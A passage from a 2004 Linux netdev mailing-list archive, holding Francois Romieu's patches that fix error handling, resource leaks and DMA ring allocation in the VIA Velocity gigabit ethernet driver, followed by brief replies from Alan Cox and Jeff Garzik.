chipset, right ? -- Ueimor --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-velocity-00.patch" - missing pci_disable_device() in the pci probe/remove functions; - ioremap can fail; - let's propagate the error codes instead of overriding these; - velocity_free_info() removed. Non void velocity_get_pci_info() probably deserves an explanation but I do not have one :o) net/via-velocity.h | 0 drivers/net/via-velocity.c | 81 ++++++++++++++++++--------------------------- 2 files changed, 34 insertions(+), 47 deletions(-) diff -puN drivers/net/via-velocity.c~via-velocity-00 drivers/net/via-velocity.c --- linux-2.6.6-mm4/drivers/net/via-velocity.c~via-velocity-00 2004-05-31 21:07:14.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/via-velocity.c 2004-05-31 21:31:16.000000000 +0200 @@ -244,7 +244,6 @@ VELOCITY_PARAM(int_works, "Number of pac static int velocity_found1(struct pci_dev *pdev, const struct pci_device_id *ent); static void velocity_init_info(struct pci_dev *pdev, struct velocity_info *vptr, struct velocity_info_tbl *info); -static void velocity_free_info(struct velocity_info *vptr); static int velocity_get_pci_info(struct velocity_info *, struct pci_dev *pdev); static void velocity_print_info(struct velocity_info *vptr); static int velocity_open(struct net_device *dev); @@ -341,11 +340,13 @@ static void __devexit velocity_remove1(s { struct net_device *dev = pci_get_drvdata(pdev); struct velocity_info *vptr = dev->priv; + unregister_netdev(dev); - velocity_free_info(vptr); + iounmap(vptr->mac_regs); pci_release_regions(pdev); + pci_disable_device(pdev); + pci_set_drvdata(pdev, NULL); free_netdev(dev); - } /** @@ -674,6 +675,7 @@ static int velocity_found1(struct pci_de struct velocity_info_tbl *info = (struct velocity_info_tbl *) ent->driver_data; struct velocity_info *vptr; struct mac_regs * regs; + int ret = -ENOMEM; if (velocity_nics++ >= MAX_UNITS) { printk(KERN_NOTICE VELOCITY_NAME ": already found %d NICs.\n", @@ -685,7 +687,7 @@ static int velocity_found1(struct pci_de if (dev == NULL) { printk(KERN_ERR VELOCITY_NAME ": allocate net device failed.\n"); - return -ENODEV; + goto out; } /* Chain it all together */ @@ -710,28 +712,28 @@ static int velocity_found1(struct pci_de dev->priv = vptr; dev->irq = pdev->irq; - if (pci_enable_device(pdev)) { - velocity_free_info(vptr); - free_netdev(dev); - return -ENODEV; - } + ret = pci_enable_device(pdev); + if (ret < 0) + goto err_free_dev; - if (velocity_get_pci_info(vptr, pdev) < 0) { + ret = velocity_get_pci_info(vptr, pdev); + if (ret < 0) { printk(KERN_ERR VELOCITY_NAME ": Failed to find PCI device.\n"); - velocity_free_info(vptr); - free_netdev(dev); - return -ENODEV; + goto err_disable; } - if ((i = pci_request_regions(pdev, VELOCITY_NAME)) < 0) { + ret = pci_request_regions(pdev, VELOCITY_NAME); + if (ret < 0) { printk(KERN_ERR VELOCITY_NAME ": Failed to find PCI device.\n"); - vptr->ioaddr = 0; - velocity_free_info(vptr); - free_netdev(dev); - return i; + goto err_disable; } regs = ioremap(vptr->memaddr, vptr->io_size); + if (regs == NULL) { + ret = -EIO; + goto err_release_res; + } + vptr->mac_regs = regs; mac_wol_reset(regs); @@ -778,14 +780,9 @@ static int velocity_found1(struct pci_de dev->features |= NETIF_F_HW_CSUM; } - i = register_netdev (dev); - if (i) - { - pci_release_regions(pdev); - velocity_free_info(vptr); - free_netdev(dev); - return i; - } + ret = register_netdev(dev); + if (ret < 0) + goto err_iounmap; velocity_print_info(vptr); pci_set_drvdata(pdev, dev); @@ -793,8 +790,18 @@ static int velocity_found1(struct pci_de /* and leave the chip powered down */ pci_set_power_state(pdev, 3); +out: + return ret; - return 0; +err_iounmap: + iounmap(regs); +err_release_res: + pci_release_regions(pdev); +err_disable: + pci_disable_device(pdev); +err_free_dev: + free_netdev(dev); + goto out; } /** @@ -864,26 +871,6 @@ static int velocity_get_pci_info(struct } /** - * velocity_free_info - free velocity data - * @vptr: velocity - * - * Free up the data structures for the velocity hardware - * that we are unloading. Relies on the PCI layer threading/locking - * rather than its own locks. Must not be called until the device - * is unplugged from the network layer - */ - -static void velocity_free_info(struct velocity_info *vptr) -{ - ASSERT(vptr); - if (vptr->mac_regs) - iounmap(vptr->mac_regs); - if (vptr->pdev) { - pci_set_drvdata(vptr->pdev, NULL); - } -} - -/** * velocity_init_rings - set up DMA rings * @vptr: Velocity to set up * diff -puN drivers/net/via-velocity.h~via-velocity-00 drivers/net/via-velocity.h _ --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-velocity-01.patch" 1 - velocity_init_rings: no need to build an aligned memory buffer by hand as pci_alloc_consistent() does this part of the job; 2 - velocity_info.{pool/pool_dma} are not needed any more (see 1); 3 - vptr->{td_rings/td_pool_dma} init: 178 cols is a bit high...; 4 - velocity_free_rings(): let's balance the 64 bytes reduction of the Rx/Tx desc pool (see 1); 5 - velocity_free_rings(): vptr->tx_bufs == 0 can not happen; 6 - velocity_init_rd_ring(): fix leak when it has been called from dev->open() and fails; 7 - velocity_free_rd_ring(): ok, this one is a bit cosmetic but I could not resist when I noticed that vptr->rd_info was tested against NULL two times in the same function. The hunk can be safely removed if this is frowned upon; 8 - velocity_open(): fix leak and power down the device if something fails and it has been enabled; 9 - velocity_change_mtu: stop returning with spinlock_irq taken when memory allocation fails. drivers/net/via-velocity.c | 144 +++++++++++++++++++++++++++++---------------- drivers/net/via-velocity.h | 2 2 files changed, 94 insertions(+), 52 deletions(-) diff -puN drivers/net/via-velocity.c~via-velocity-01 drivers/net/via-velocity.c --- linux-2.6.6-mm4/drivers/net/via-velocity.c~via-velocity-01 2004-05-31 21:43:36.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/via-velocity.c 2004-05-31 23:05:07.000000000 +0200 @@ -258,6 +258,7 @@ static int velocity_rx_srv(struct veloci static int velocity_receive_frame(struct velocity_info *, int idx); static int velocity_alloc_rx_buf(struct velocity_info *, int idx); static void velocity_init_registers(struct velocity_info *vptr, enum velocity_init_type type); +static void velocity_free_rd_ring(struct velocity_info *vptr); static void velocity_free_tx_buf(struct velocity_info *vptr, struct velocity_td_info *); static int velocity_soft_reset(struct velocity_info *vptr); static void mii_init(struct velocity_info *vptr, u32 mii_status); @@ -883,28 +884,33 @@ static int velocity_init_rings(struct ve int i; unsigned int psize; unsigned int tsize; + dma_addr_t pool_dma; + u8 *pool; /* * Allocate all RD/TD rings a single pool */ - psize = vptr->options.numrx * sizeof(struct rx_desc) + 64 + + psize = vptr->options.numrx * sizeof(struct rx_desc) + vptr->options.numtx * sizeof(struct tx_desc) * vptr->num_txq; - - vptr->pool = pci_alloc_consistent(vptr->pdev, psize, &vptr->pool_dma); - if (vptr->pool == NULL) { + /* + * pci_alloc_consistent() fulfills the requirement for 64 bytes + * alignment + */ + pool = pci_alloc_consistent(vptr->pdev, psize, &pool_dma); + + if (pool == NULL) { printk(KERN_ERR "%s : DMA memory allocation failed.\n", vptr->dev->name); return -ENOMEM; } - memset(vptr->pool, 0, psize); + memset(pool, 0, psize); - vptr->rd_ring = (struct rx_desc *) (((unsigned long) - (((u8 *) vptr->pool) + 63)) & ~63); + vptr->rd_ring = (struct rx_desc *) pool; - vptr->rd_pool_dma = vptr->pool_dma; + vptr->rd_pool_dma = pool_dma; tsize = vptr->options.numtx * PKT_BUF_SZ * vptr->num_txq; vptr->tx_bufs = pci_alloc_consistent(vptr->pdev, tsize, @@ -913,16 +919,22 @@ static int velocity_init_rings(struct ve if (vptr->tx_bufs == NULL) { printk(KERN_ERR "%s: DMA memory allocation failed.\n", vptr->dev->name); - pci_free_consistent(vptr->pdev, psize, vptr->pool, - vptr->pool_dma); + pci_free_consistent(vptr->pdev, psize, pool, pool_dma); return -ENOMEM; } memset(vptr->tx_bufs, 0, vptr->options.numtx * PKT_BUF_SZ * vptr->num_txq); + i = vptr->options.numrx * sizeof(struct rx_desc); + pool += i; + pool_dma += i; for (i = 0; i < vptr->num_txq; i++) { - vptr->td_pool_dma[i] = vptr->rd_pool_dma + vptr->options.numrx * sizeof(struct rx_desc) + vptr->options.numtx * sizeof(struct tx_desc) * i; - vptr->td_rings[i] = (struct tx_desc *) (((u8 *) vptr->rd_ring) + vptr->options.numrx * sizeof(struct rx_desc) + vptr->options.numtx * sizeof(struct tx_desc) * i); + int offset = vptr->options.numtx * sizeof(struct tx_desc); + + vptr->td_pool_dma[i] = pool_dma; + vptr->td_rings[i] = (struct tx_desc *) pool; + pool += offset; + pool_dma += offset; } return 0; } @@ -936,11 +948,16 @@ static int velocity_init_rings(struct ve static void velocity_free_rings(struct velocity_info *vptr) { - pci_free_consistent(vptr->pdev, vptr->options.numrx * sizeof(struct rx_desc) + 64 + vptr->options.numtx * sizeof(struct tx_desc) * vptr->num_txq, vptr->pool, vptr->pool_dma); + int size; + + size = vptr->options.numrx * sizeof(struct rx_desc) + + vptr->options.numtx * sizeof(struct tx_desc) * vptr->num_txq; + + pci_free_consistent(vptr->pdev, size, vptr->rd_ring, vptr->rd_pool_dma); - if (vptr->tx_bufs) - pci_free_consistent(vptr->pdev, vptr->options.numtx * PKT_BUF_SZ * vptr->num_txq, vptr->tx_bufs, vptr->tx_bufs_dma); + size = vptr->options.numtx * PKT_BUF_SZ * vptr->num_txq; + pci_free_consistent(vptr->pdev, size, vptr->tx_bufs, vptr->tx_bufs_dma); } /** @@ -953,7 +970,7 @@ static void velocity_free_rings(struct v static int velocity_init_rd_ring(struct velocity_info *vptr) { - int i; + int i, ret = -ENOMEM; struct rx_desc *rd; struct velocity_rd_info *rd_info; unsigned int rsize = sizeof(struct velocity_rd_info) * @@ -961,7 +978,7 @@ static int velocity_init_rd_ring(struct vptr->rd_info = kmalloc(rsize, GFP_KERNEL); if(vptr->rd_info == NULL) - return -ENOMEM; + goto out; memset(vptr->rd_info, 0, rsize); /* Init the RD ring entries */ @@ -969,15 +986,19 @@ static int velocity_init_rd_ring(struct rd = &(vptr->rd_ring[i]); rd_info = &(vptr->rd_info[i]); - if (velocity_alloc_rx_buf(vptr, i) < 0) { - VELOCITY_PRT(MSG_LEVEL_ERR, KERN_ERR "%s: failed to allocate RX buffer.\n", - vptr->dev->name); - return -ENOMEM; + ret = velocity_alloc_rx_buf(vptr, i); + if (ret < 0) { + VELOCITY_PRT(MSG_LEVEL_ERR, KERN_ERR + "%s: failed to allocate RX buffer.\n", + vptr->dev->name); + velocity_free_rd_ring(vptr); + goto out; } rd->rdesc0.owner = OWNED_BY_NIC; } vptr->rd_used = vptr->rd_curr = 0; - return 0; +out: + return ret; } /** @@ -991,23 +1012,24 @@ static int velocity_init_rd_ring(struct static void velocity_free_rd_ring(struct velocity_info *vptr) { int i; + if (vptr->rd_info == NULL) return; for (i = 0; i < vptr->options.numrx; i++) { struct velocity_rd_info *rd_info = &(vptr->rd_info[i]); - if (rd_info->skb_dma) { - pci_unmap_single(vptr->pdev, rd_info->skb_dma, - vptr->rx_buf_sz, PCI_DMA_FROMDEVICE); - rd_info->skb_dma = (dma_addr_t) NULL; - } - if (rd_info->skb) { - dev_kfree_skb(rd_info->skb); - rd_info->skb = NULL; - } + + if (!rd_info->skb_dma) + continue; + pci_unmap_single(vptr->pdev, rd_info->skb_dma, vptr->rx_buf_sz, + PCI_DMA_FROMDEVICE); + rd_info->skb_dma = (dma_addr_t) NULL; + + dev_kfree_skb(rd_info->skb); + rd_info->skb = NULL; } - if (vptr->rd_info) - kfree(vptr->rd_info); + + kfree(vptr->rd_info); vptr->rd_info = NULL; } @@ -1574,30 +1596,48 @@ static void velocity_free_tx_buf(struct static int velocity_open(struct net_device *dev) { struct velocity_info *vptr = dev->priv; - int i; + int ret; vptr->rx_buf_sz = (dev->mtu <= 1504 ? PKT_BUF_SZ : dev->mtu + 32); - if (velocity_init_rings(vptr) < 0) - return -ENOMEM; - if (velocity_init_rd_ring(vptr) < 0) - return -ENOMEM; - if (velocity_init_td_ring(vptr) < 0) - return -ENOMEM; + ret = velocity_init_rings(vptr); + if (ret < 0) + goto out; + + ret = velocity_init_rd_ring(vptr); + if (ret < 0) + goto err_free_desc_rings; + + ret = velocity_init_td_ring(vptr); + if (ret < 0) + goto err_free_rd_ring; /* Ensure chip is running */ pci_set_power_state(vptr->pdev, 0); velocity_init_registers(vptr, VELOCITY_INIT_COLD); - i = request_irq(vptr->pdev->irq, &velocity_intr, SA_SHIRQ, dev->name, dev); - if (i < 0) - return i; + ret = request_irq(vptr->pdev->irq, &velocity_intr, SA_SHIRQ, + dev->name, dev); + if (ret < 0) { + /* Power down the chip */ + pci_set_power_state(vptr->pdev, 3); + goto err_free_td_ring; + } mac_enable_int(vptr->mac_regs); netif_start_queue(dev); vptr->flags |= VELOCITY_FLAGS_OPENED; - return 0; +out: + return ret; + +err_free_td_ring: + velocity_free_td_ring(vptr); +err_free_rd_ring: + velocity_free_rd_ring(vptr); +err_free_desc_rings: + velocity_free_rings(vptr); + goto out; } /** @@ -1615,6 +1655,7 @@ static int velocity_change_mtu(struct ne struct velocity_info *vptr = dev->priv; unsigned long flags; int oldmtu = dev->mtu; + int ret = 0; if ((new_mtu < VELOCITY_MIN_MTU) || new_mtu > (VELOCITY_MAX_MTU)) { VELOCITY_PRT(MSG_LEVEL_ERR, KERN_NOTICE "%s: Invalid MTU.\n", @@ -1639,20 +1680,23 @@ static int velocity_change_mtu(struct ne else vptr->rx_buf_sz = 4 * 1024; - if (velocity_init_rd_ring(vptr) < 0) - return -ENOMEM; - - if (velocity_init_td_ring(vptr) < 0) - return -ENOMEM; + ret = velocity_init_rd_ring(vptr); + if (ret < 0) + goto out_unlock; + + ret = velocity_init_td_ring(vptr); + if (ret < 0) + goto out_unlock; velocity_init_registers(vptr, VELOCITY_INIT_COLD); mac_enable_int(vptr->mac_regs); netif_start_queue(dev); +out_unlock: spin_unlock_irqrestore(&vptr->lock, flags); } - return 0; + return ret; } /** diff -puN drivers/net/via-velocity.h~via-velocity-01 drivers/net/via-velocity.h --- linux-2.6.6-mm4/drivers/net/via-velocity.h~via-velocity-01 2004-05-31 21:43:38.000000000 +0200 +++ linux-2.6.6-mm4-fr/drivers/net/via-velocity.h 2004-05-31 22:00:35.000000000 +0200 @@ -1751,8 +1751,6 @@ struct velocity_info { u32 pci_state[16]; #endif - void *pool; - dma_addr_t pool_dma; dma_addr_t rd_pool_dma; dma_addr_t td_pool_dma[TX_QUEUE_NO]; _ --FL5UXtIhxfXey3p5-- From alan@redhat.com Mon May 31 16:01:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 16:01:49 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VN1lgi005373 for ; Mon, 31 May 2004 16:01:48 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4VN1gi5004135; Mon, 31 May 2004 19:01:42 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4VN1g001767; Mon, 31 May 2004 19:01:42 -0400 Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.11/8.12.10) with ESMTP id i4VN1Zp5003386; Mon, 31 May 2004 19:01:35 -0400 Received: (from alan@localhost) by devserv.devel.redhat.com (8.12.11/8.12.11/Submit) id i4VN1Yka003384; Mon, 31 May 2004 19:01:35 -0400 Date: Mon, 31 May 2004 19:01:34 -0400 From: Alan Cox To: Francois Romieu Cc: Alan Cox , netdev@oss.sgi.com Subject: Re: [PATCH] Re: VIA "Velocity" Gigabit ethernet driver Message-ID: <20040531230134.GC31056@devserv.devel.redhat.com> References: <20040526174018.GA29119@devserv.devel.redhat.com> <20040601003503.A19358@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040601003503.A19358@electric-eye.fr.zoreil.com> User-Agent: Mutt/1.4.1i X-archive-position: 5513 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alan@redhat.com Precedence: bulk X-list: netdev On Tue, Jun 01, 2004 at 12:35:03AM +0200, Francois Romieu wrote: > Some polish attached. I'll probably do the rx_copybreak thing as well as > some pci_dma_sync_single_for_{cpu/device} if nobody beats me. > > Apparently there's no documentation available for the chipset, right ? I have some documentation but its not what I would call complete. The docs are marked NDA etc etc but identical to the ones you'll find included with the current driver zip (the .exe is also a zip) on viaarena ;) From jgarzik@pobox.com Mon May 31 20:03:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 20:03:04 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i5132xgi014238 for ; Mon, 31 May 2004 20:03:00 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BUzYI-0002pu-8c; Tue, 01 Jun 2004 04:02:58 +0100 Message-ID: <40BBF1D6.5070506@pobox.com> Date: Mon, 31 May 2004 23:02:46 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com Subject: Re: [PATCH] farsync needs References: <20040531091208.GA13982@lst.de> In-Reply-To: <20040531091208.GA13982@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5514 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied